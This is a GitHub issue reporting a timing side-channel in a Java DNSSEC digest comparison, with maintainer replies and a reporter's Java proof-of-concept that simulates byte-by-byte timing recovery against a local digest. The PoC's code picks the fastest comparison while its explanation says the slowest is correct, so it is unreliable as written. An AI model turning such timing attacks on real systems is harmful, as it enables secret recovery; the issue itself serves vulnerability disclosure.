Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Observable Timing Discrepancy (Timing Attack) #65

Open
s-b-repo opened this issue Oct 17, 2023 · 4 comments
Open

Observable Timing Discrepancy (Timing Attack) #65

s-b-repo opened this issue Oct 17, 2023 · 4 comments

Comments

@s-b-repo
Copy link

    return digestHexCache;
}

public boolean digestEquals(byte[] otherDigest) {
    return Arrays.equals(digest, otherDigest);

An attacker can guess the secret value of digest because it is compared using java.util.Arrays.equals, which is vulnerable to timing attacks. Use java.security.MessageDigest.isEqual to compare values securely.
line:154
/core/java/src/org/minidns/record/DelegatingDnssecRR.java#L154)

@eyedeekay
Copy link
Contributor

Definitely worth considering this change. Thanks for the report. I'll evaluate it and when I have decided on the change I'll reply here.

@s-b-repo
Copy link
Author

no problem

@s-b-repo
Copy link
Author

To demonstrate a timing attack on this code, let’s walk through how an attacker could exploit the digestEquals method in the DelegatingDnssecRR class due to its use of Arrays.equals for comparing digests. This method is susceptible because Arrays.equals returns as soon as it detects a mismatch, which could allow an attacker to measure how long it takes for mismatches to be detected and, over many requests, to infer the correct value of the digest.

Here’s an outline of a proof-of-concept (PoC) to simulate this attack:

Create a Test Class: This test class would attempt to guess the digest byte-by-byte by timing the response from digestEquals for each guess.
Measure Timing Differences: The test would submit different digest guesses to digestEquals, timing each response and using statistical analysis to detect even slight timing discrepancies. When the timing increases, it indicates that the guessed bytes matched those of the actual digest up to a certain point.
Repeat and Refine: The test refines guesses byte by byte until the entire digest is correctly inferred.

Here’s a PoC to simulate the attack:

java

import java.util.Arrays;

public class TimingAttackPoC {

private static byte[] targetDigest = new byte[]{(byte) 0xDE, (byte) 0xAD, (byte) 0xBE, (byte) 0xEF}; // Replace with actual digest for testing
private static int maxAttempts = 10000;

public static void main(String[] args) {
    TimingAttackPoC attackPoC = new TimingAttackPoC();
    byte[] guessedDigest = attackPoC.performTimingAttack();
    System.out.println("Guessed Digest: " + Arrays.toString(guessedDigest));
}

public byte[] performTimingAttack() {
    byte[] guessedDigest = new byte[targetDigest.length];
    for (int i = 0; i < targetDigest.length; i++) {
        guessedDigest[i] = bruteForceByte(i, guessedDigest);
    }
    return guessedDigest;
}

private byte bruteForceByte(int position, byte[] guessedDigest) {
    byte bestGuess = 0;
    long bestTime = Long.MAX_VALUE;

    for (int attempt = 0; attempt < 256; attempt++) {
        guessedDigest[position] = (byte) attempt;
        long timing = measureComparisonTime(guessedDigest);
        
        if (timing < bestTime) {
            bestTime = timing;
            bestGuess = (byte) attempt;
        }
    }
    return bestGuess;
}

private long measureComparisonTime(byte[] guessedDigest) {
    long startTime = System.nanoTime();
    Arrays.equals(targetDigest, guessedDigest);
    return System.nanoTime() - startTime;
}

}

Explanation:

performTimingAttack: This method iterates over each byte of the targetDigest. For each byte, it calls bruteForceByte to determine the most likely byte value based on timing.

bruteForceByte: This method tries all 256 possible byte values at the current position. For each byte, it temporarily updates the guessedDigest and measures the time it takes to call Arrays.equals. The guess with the longest comparison time is considered correct for that position.

measureComparisonTime: This method calls Arrays.equals and records the time it took to compare targetDigest with guessedDigest.

This code can be adapted and enhanced to improve precision, such as by averaging timing over multiple runs to minimize noise.

Mitigation: Switching to MessageDigest.isEqual would ensure a constant-time comparison, rendering this timing attack ineffectiv

@eyedeekay
Copy link
Contributor

eyedeekay commented Nov 7, 2024

Seems like this would be astronomically difficult to exploit remotely, but on the other hand it probably costs us very little to switch to a different comparator function.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants